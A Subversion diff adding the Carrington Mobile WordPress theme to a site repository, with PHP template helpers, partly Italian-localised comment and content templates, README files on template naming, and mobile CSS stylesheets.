+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'tag-');
+	return apply_filters('cfct_tag_templates', $matches);
+}
+
+function cfct_author_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'author-');
+	return apply_filters('cfct_author_templates', $matches);
+}
+
+function cfct_role_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'role-');
+	return apply_filters('cfct_role_templates', $matches);
+}
+
+function cfct_parent_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'parent-');
+	return apply_filters('cfct_parent_templates', $matches);
+}
+
+function cfct_single_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'single');
+	return apply_filters('cfct_single_templates', $matches);
+}
+
+function cfct_comment_templates($type, $files = false) {
+	if (!$files) {
+		$files = cfct_files(CFCT_PATH.'comment');
+	}
+	$matches = array();
+	switch ($type) {
+		case 'user':
+			$matches = cfct_filter_files($files, 'user-');
+			break;
+		case 'role':
+			$matches = cfct_filter_files($files, 'role-');
+			break;
+	}
+	return apply_filters('cfct_comment_templates', $matches);
+}
+
+function cfct_cat_filename_to_id($file) {
+	$cat = str_replace(array('single-cat-', 'cat-', '.php'), '', $file);
+	$cat = get_category_by_slug($cat);
+	return $cat->cat_ID;
+}
+
+function cfct_cat_filename_to_name($file) {
+	$cat = str_replace(array('single-cat-', 'cat-', '.php'), '', $file);
+	$cat = get_category_by_slug($cat);
+	return $cat->name;
+}
+
+function cfct_cat_filename_to_slug($file) {
+	return str_replace(array('single-cat-', 'cat-', '.php'), '', $file);
+}
+
+function cfct_cat_id_to_slug($id) {
+	$cat = &get_category($id);
+	return $cat->slug;
+}
+
+function cfct_username_to_id($username) {
+	return get_profile('ID', $username);
+}
+
+function cfct_tag_filename_to_name($file) {
+	return str_replace(array('single-tag-', 'tag-', '.php'), '', $file);
+}
+
+function cfct_author_filename_to_name($file) {
+	return str_replace(array('single-author-', 'author-', '.php'), '', $file);
+}
+
+function cfct_role_filename_to_name($file) {
+	return str_replace(array('single-role-', 'role-', '.php'), '', $file);
+}
+
+function cfct_post_id_to_slug($id) {
+	$post = get_post($id);
+	return $post->post_name;
+}
+
+function cfct_basic_content_formatting($str) {
+	$str = wptexturize($str);
+	$str = convert_smilies($str);
+	$str = convert_chars($str);
+	$str = wpautop($str);
+	return $str;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comment/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comment/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comment/README.txt	(revision 44)
@@ -0,0 +1,35 @@
+## comment/
+
+### Overview
+
+This directory holds templates for displaying a comment in it's entirety. These templates do not hold the comment loop, or the "Comments" title or the form to allow commenting; they just show a single comment.
+
+Typically these templates will be brought in to a template in _comments/_, but can also be used to display single comments as needed.
+
+
+## Comment Context
+
+When choosing a template to use in the Comment Context, the Carrington engine looks at the type of comment and the author of the comment to choose which template to use.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+The order in which these conditions are checked defaults to the following:
+
+1. ping
+2. author
+3. user
+4. role
+5. default
+
+however this order can be overridden with a plugin using the `cfct_comment_match_order` hook.
+
+Once a template match has been found, no other processing is done.
+
+
+### Supported Templates (Comment Context)
+
+- *comment-default.php* - Used when there are no other templates that match for a given comment.
+- *ping.php* - Used if the comment is a pingback or a trackback.
+- *author.php* - Used when the author of the post leaves a comment.
+- *user-{username}.php* - Used when a user with that username leaves a comment. For example, a template with a file name of _user-jsmith.php_ would be used for a comment by user _jsmith_. Any WordPres username can take the place of {username} in the file name.
+- *role-{role}.php* - Used when a comment is made by a user with a certain role. For example, a template with a file name of _role-subscriber.php_ would be used for a user with a role of "subscriber" (typical for a registered commentor who is not an author or an admin). Any WordPress role can take the place of {role} in the file name.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comment/comment-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comment/comment-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comment/comment-default.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+global $comment;
+
+?>
+
+<?php if ($comment->comment_approved == '0') : ?>
+<p><em>Il tuo commento Ãš in attesa di approvazione.</em></p>
+<?php endif; ?>
+
+<?php comment_text() ?>
+
+<p class="comment-info">da <cite><?php comment_author_link() ?></cite> il <a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('j M , Y') ?> alle <?php comment_time() ?></a> <?php edit_comment_link('e','',''); ?></small></p>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_comments();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments/README.txt	(revision 44)
@@ -0,0 +1,44 @@
+## comments/
+
+This directory holds templates for displaying the comment loop and the comment form - what is typically called in by WordPress's `comment_template()` function.
+
+This level of abstraction us useful to be able to load in the comments and new comment form for a post/page via AJAX if desired.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments/comments-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments/comments-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/comments/comments-default.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+global $post, $wp_query, $comments, $comment;
+
+if ($comments || 'open' == $post->comment_status) {
+	if (empty($post->post_password) || $_COOKIE['wp-postpass_' . COOKIEHASH] == $post->post_password) {
+		$comments = $wp_query->comments;
+		$comment_count = count($comments);
+		$comment_count == 1 ? $comment_title = __('Una Risposta', 'carrington-mobile') : $comment_title = sprintf(__('%d Risposte', 'carrington-mobile'), $comment_count);
+	}
+
+?>
+
+<h2 id="comments" class="title-divider"><span><?php echo $comment_title; ?></span></h2>
+
+<?php 
+
+	if ($comments) {
+?>
+	<ol class="commentlist">
+<?php
+		foreach ($comments as $comment) {
+?>
+		<li id="comment-<?php comment_ID() ?>">
+<?php
+			cfct_comment();
+?>
+		</li>
+<?php
+		}
+?>
+	</ol>
+<?php
+	}
+	cfct_form('comment'); 
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/README.txt	(revision 44)
@@ -0,0 +1,41 @@
+## content/
+
+This directory holds the templates for displaying a post. Typically this will be the full post with title, meta information (date, categories, tags, author, etc.) and the full output of `the_content()`.
+
+
+## Post Context
+
+When choosing a template to use in the Post Context, the Carrington engine looks information (author, category, tags, custom fields, etc.) related to the post/page being shown.
+
+Commonly these templates are included by templates in the _loop/_; but are also useful for bringing in an atomic post representation via AJAX or placing one within another template.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+You can create templates to be used with posts/pages given various conditions. For example, you might want to give all posts in a certain category some specific styling rules. Or perhaps posts with a certain custom field or by a specific author. This is accomplished by creating templates with file names that match these conditions, then placing them in the _content/_ directory. All templates other than _{dirname}-default.php_ are optional.
+
+The order in which these conditions are checked defaults to the following:
+
+1. author
+2. meta
+3. category
+4. role
+5. tag
+6. parent
+7. default
+
+however this order can be overridden with a plugin using the `cfct_single_match_order` hook.
+
+Once a template match has been found, no other processing is done.
+
+
+### Supported Templates (Post Context)
+
+- *{dirname}-default.php* - Used when there are no other templates that match for a given post/page.
+- *author-{username}.php* - Used when a user with that username authors a post/page. For example, a template with a file name of _author-jsmith.php_ would be used for a poat/page by user _jsmith_. Any WordPres username can take the place of {username} in the file name.
+- *cat-{slug}.php* - Used when a post is in a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *meta-{key}.php* - Used when there is a custom field for the post/page matching the key listed in the file name. This is useful if you want to be able to flag posts as "photo" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "photo" with a value of the URL of the image to a post/page and it would use a template of _meta-photo.php_ if that template exists. The value does not matter in this match.
+- *meta-{key}-{value}.php* - Used when there is a custom field for the post/page matching the key and value listed in the file name. This is useful if you want to be able to flag posts as "featured" or similar, and give those posts some custom treatment. In this example, you could add a custom field of "featured" with a value of "yes" to a post/page and it would use a template of _meta-featured-yes.php_ if that template exists.
+- *page.php* - Used when the content is being displayed is a page (not a post).
+- *parent-{slug}.php* - Used when a page is a child page of a specific parent page. The page is matched by the "slug" - for example a page under a parent page with slug of "example" could use a template of _parent-example.php_.
+- *role-{role}.php* - Used when a post/page is authored by a user with a particular role. The {role} is an all lowercase representation of the role string - for example, an author with an "Administrator" role might use a template of _role-administrator.php_. This is primarily useful if you have a set of authors that are given a Contributor role; or a Guest Columnist role or similar. Any WordPress role can take the place of {role} in the file name.
+- *tag-{slug}.php* - Used when a post has a certain tag applied to it. The tag is matched by the "slug" - for example a post with tag "Reference" (with a tag slug of "reference") could use a template of _tag-reference.php_.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/content-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/content-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/content-default.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<h1><?php the_title(); ?></h1>
+
+<?php
+the_content();
+
+$args = array(
+	'before' => '<p class="pages-link">'. __('Pages: ', 'carrington-mobile'),
+	'after' => "</p>\n",
+	'next_or_number' => 'number'
+);
+	
+wp_link_pages($args);
+?>
+
+<div class="clear"></div>
+
+<p class="byline small">Posted by <?php the_author_posts_link(); ?> on <?php the_date(); ?>.</p>
+
+<?php the_tags('<p class="tags small">Tags: ',', ','</p>'); ?>
+
+<p class="categories small"><?php _e('Categories: '); the_category(', '); ?></p>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/content/page.php	(revision 44)
@@ -0,0 +1,34 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<h1><?php the_title(); ?></h1>
+
+<?php
+the_content();
+
+$args = array(
+	'before' => '<p class="pages-link">'. __('Pages: ', 'carrington-mobile'),
+	'after' => "</p>\n",
+	'next_or_number' => 'number'
+);
+	
+wp_link_pages($args);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/README.txt	(revision 44)
@@ -0,0 +1,8 @@
+## css/
+
+Organizational folder for holding theme image files. You can reference these files using the built-in WordPress `bloginfo()` function like so:
+
+	<link rel="stylesheet" type="text/css" 
+		href="<?php bloginfo('template_directory'); ?>/css/base.css" />
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/advanced.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/advanced.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/advanced.css	(revision 44)
@@ -0,0 +1,346 @@
+/*
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+*/
+
+body {
+	background:#e5e5e5;
+	font-size:12px;
+	line-height:1.5;
+	color:#333;
+	margin:0;
+}
+h1 {font-size:18px;}
+hr {display:none;}
+a {color:blue;}
+blockquote {
+	border-left:2px solid #ddd;
+	margin:0 0 0 5px;
+	padding-left:5px;
+}
+ul, ol {
+	margin-left: 40px;
+}
+p, li {
+	margin: 0 0 10px;
+}
+.small {
+	font-size:10px;
+	line-height:2;
+}
+.hide {
+	display: none;
+}
+.clear {
+	clear: both;
+	float: none;
+}
+.table-title,
+.content {
+	color:#777;
+	font-size:1em;
+	line-height:1.5;
+	margin:10px;
+	text-shadow: 1px 1px 2px #fff;
+}
+.table-title {
+	margin-top:20px;
+}
+.group {
+	background:#fff;
+	border:1px solid #ccc;
+	overflow:hidden;
+	margin:10px;
+	padding: 10px;
+}
+ul.table.group {
+	margin:10px;
+	padding:0;
+}
+ul.table {
+	clear:both;
+	color:#999;
+	list-style:none;
+	margin:0;
+}
+ul.table li {
+	border-bottom:1px solid #ccc;
+	padding:15px;
+}
+ul.table li:last-child {border:0;}
+ul.table.disclosure li,
+ul.table li.disclosure {
+	margin: 0;
+	padding:0;
+	position:relative;
+}
+ul.table.disclosure a,
+ul.table li.disclosure a {
+	border: 0;
+	display:block;
+	padding:5px 10px;
+	text-decoration: none;
+}
+ul.table.disclosure a .date,
+ul.table li.disclosure a .date {
+	color: #666;
+	font-size: 11px;
+	white-space: nowrap;
+}
+ul.table li .title {
+	background: #a5a5a5 url(../img/title-dimple.gif) repeat-x top;
+	border-bottom:1px solid #777;
+	color: #fff;
+	display: block;
+	font-size: 10px;
+	font-weight:normal;
+	padding: 3px 8px;
+	text-shadow: 0 1px 1px #555;
+}
+.title-divider {
+	background:url(../img/title-divider.png) repeat-x center;
+	color:#999;
+	font-size:10px;
+	font-weight:normal;
+	margin:0 -15px 10px -15px;
+}
+.title-divider span {
+	background:#fff;
+	margin:0 0 0 10px;
+	padding: 0 5px;
+}
+
+.notification {
+	background:#fffdc2;
+	border-radius:5px;
+	-moz-border-radius:5px;
+	-webkit-border-radius:5px;
+	margin:10px 0;
+	padding:10px;
+}
+
+#site-name {
+	background:#666 url(../img/header-gloss.png) repeat-x center;
+	border-bottom: 1px solid #999;
+	line-height: 1.2;
+	margin:0;
+}
+#site-name a {
+	background: transparent url(../img/home.png) no-repeat 10px center;
+	color:#fff;
+	display:block;
+	font-size:16px;
+	padding:10px 40px;
+}
+#navigation-top {
+	display:none;
+}
+.pagination {
+	background:#fff;
+	border:1px solid #ccc;
+	border-width:0 1px 1px;
+	clear:both;
+	margin:0 10px;
+	overflow:hidden;
+}
+.pagination span {
+	display:none;
+}
+.pagination span.next,
+.pagination span.prev {
+	display:block;
+	width:50%;
+}
+.pagination span.prev {
+	float:right;
+}
+.pagination span.next {
+	float:left;
+}
+.pagination .next a,
+.pagination .prev a {
+	border:5px solid #fff;
+	display:block;
+	height:1.5em;
+	overflow:hidden;
+	text-decoration:none;
+}
+.pagination .next a,
+ul.table.disclosure .pagination .next a {
+	background: url(../img/disclosure-left.png) no-repeat left center;
+	border-right:1px solid #ddd;
+	border-left:0;
+	padding-left:35px;
+}
+.pagination .prev a,
+ul.table.disclosure .pagination .prev a {
+	background: url(../img/disclosure.png) no-repeat right center;
+	border-left:1px solid #fff;
+	border-right:0;
+	padding-right:35px;
+	text-align:right;
+}
+
+#next-prev-bottom,
+#navigation-bottom {display:none;}
+
+#search {
+	margin: 0;
+}
+#search input {
+	padding: 3px;
+}
+#s {
+	width: 50%;
+}
+
+.tabbed.group {
+	padding:0;
+}
+.tabbed ul.tabs{
+	background:url(../img/title-divider.png) repeat-x bottom;
+	list-style:none;
+	margin: 0 10px;
+	overflow:hidden;
+}
+.tabbed .tabs li {
+	float:left;
+	margin-bottom: 0;
+	width:50%;
+}
+.tabbed .tabs li a{
+	background:#d5d5d5 url(../img/tab.gif) repeat-x bottom;
+	color:#333;
+	display:block;
+	padding: 7px;
+	text-decoration:none;
+}
+.tabbed .tabs li.active a {
+	background-color:#fff;
+	background-image:url(../img/tab-active.gif);
+}
+.commentlist {
+	margin:0 -10px;
+}
+.commentlist li {
+	background:url(../img/comment.png) no-repeat 10px 10px;
+	border-bottom:1px solid #ddd;
+	font-size:11px;
+	margin:0;
+	padding:10px 10px 10px 30px;
+}
+.commentlist li:last-child {border:0;}
+.commentlist li .comment-info {
+	color:#999;
+	margin:0;
+}
+.commentlist li .comment-info cite {
+	font-weight:bold;
+}
+#respond .title-divider {
+	margin-bottom:5px;
+	margin-top:5px;
+}
+#respond label {display:block;}
+#respond textarea,
+#respond input[type=text] {
+	width:95%;
+}
+
+#footer {
+	background:#555 url(../img/footer-shadow.gif) repeat-x top;
+	color:#999;
+	padding:10px;
+}
+#footer a {color:#ddd;}
+#footer p#developer-link {
+	display:block;
+	text-indent:-32697px;
+}
+#footer p#developer-link a,
+#footer p#developer-link a:visited {
+	background:url(../img/by-crowd-favorite.gif) no-repeat left top;
+	float:right;
+	height:30px;
+	text-indent:-32697px;
+	width:220px;
+}
+/* rounded goodness */
+.group {
+	border-radius:10px;
+	-moz-border-radius:10px;
+	-webkit-border-radius:10px;
+}
+.tabbed ul.table.group {
+	border-top-right-radius: 0;
+	-moz-border-radius-topright: 0;
+	-webkit-border-top-right-radius: 0;
+	border-top-left-radius: 0;
+	-moz-border-radius-topleft: 0;
+	-webkit-border-top-left-radius: 0;
+}
+
+.pagination .next a,
+ul.table.disclosure .pagination .next a {
+	border-bottom-left-radius:10px;
+	-webkit-border-bottom-left-radius:10px;
+	-moz-border-radius-bottomleft:10px;
+}
+.pagination .prev a,
+ul.table.disclosure .pagination .prev a {
+	border-bottom-right-radius:10px;
+	-webkit-border-bottom-right-radius:10px;
+	-moz-border-radius-bottomright:10px;
+}
+.pagination {
+	border-bottom-left-radius:10px;
+	border-bottom-right-radius:10px;
+	-webkit-border-bottom-left-radius:10px;
+	-webkit-border-bottom-right-radius:10px;
+	-moz-border-radius-bottomleft:10px;
+	-moz-border-radius-bottomright:10px;
+}
+.tabbed .tabs li:first-child a {
+	border: 1px solid #ccc;
+	border-width: 1px 1px 0;
+	border-top-left-radius:10px;
+	-webkit-border-top-left-radius:10px;
+	-moz-border-radius-topleft:10px;
+}
+.tabbed .tabs li:last-child a {
+	border: 1px solid #ccc;
+	border-width: 1px 1px 0 0;
+	border-top-right-radius:10px;
+	-webkit-border-top-right-radius:10px;
+	-moz-border-radius-topright:10px;
+}
+
+.pages-link {
+	margin:2em 0;
+	word-spacing:.25em;
+}
+.pages-link a {
+	background:#d7d7d7;
+	border:1px solid #ccc;
+	-moz-border-radius:3px;
+	-webkit-border-radius:3px;
+	-khtml-border-radius:3px;
+	border-radius:3px;
+	color:#333;
+	padding:.3em .5em;
+	text-decoration:none;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/touch.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/touch.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/css/touch.css	(revision 44)
@@ -0,0 +1,24 @@
+body {
+	-webkit-text-size-adjust: none;
+}
+.group {
+	padding:10px 15px;
+}
+ul.table.disclosure a,
+ul.table li.disclosure a {
+	background:url(../img/disclosure.png) no-repeat right center;
+	padding:15px;
+}
+ul.table li .title {
+	padding-left:15px;
+	padding-right:15px;
+}
+#site-name a {
+	padding-bottom:16px;
+	padding-top:16px;
+}
+.pagination .next a,
+.pagination .prev a {
+	border-bottom-width:15px;
+	border-top-width:15px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/404.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+<div id="content" class="group">
+
+<p><?php _e('Sorry, non sono sicuro che puoi guardare cosa ci sia qui.', 'carrington-text'); ?></p>
+
+</div><!--#content-->
+<?php 
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/README.txt	(revision 44)
@@ -0,0 +1,15 @@
+## error/
+
+This directory holds templates for error conditions. WordPress supports the 404 error out of the box, but you may want to create additional error templates for other conditions (not authorized, etc.).
+
+You can load an error template by using the following code:
+
+	cfct_error('not-authorized.php');
+
+
+### Example File Descriptions
+
+- *404.php* - used for "File not Found" errors.
+- *exit.php* - used to display a message when exiting on some error condition.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/exit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/exit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/error/exit.php	(revision 44)
@@ -0,0 +1,24 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
+<html>
+<body><?php echo htmlspecialchars($str); ?></body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/excerpt/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/excerpt/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/excerpt/README.txt	(revision 44)
@@ -0,0 +1,43 @@
+## excerpt/
+
+(This information is very similar to the _content/_)
+
+This directory holds the templates for displaying a the excerpt for a post. Typically this will include the title and some sub-set of meta information (date, categories, tags, author, etc.) and the full output of `the_content()`.
+
+
+## Post Context
+
+When choosing a template to use in the Post Context, the Carrington engine looks information (author, category, tags, custom fields, etc.) related to the post/page being shown.
+
+Commonly these templates are included by templates in the _loop/_; but are also useful for bringing in an atomic post representation via AJAX or placing one within another template.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+You can create templates to be used with posts/pages given various conditions. For example, you might want to give all posts in a certain category some specific styling rules. Or perhaps posts with a certain custom field or by a specific author. This is accomplished by creating templates with file names that match these conditions, then placing them in the _content/_ directory. All templates other than _{dirname}-default.php_ are optional.
+
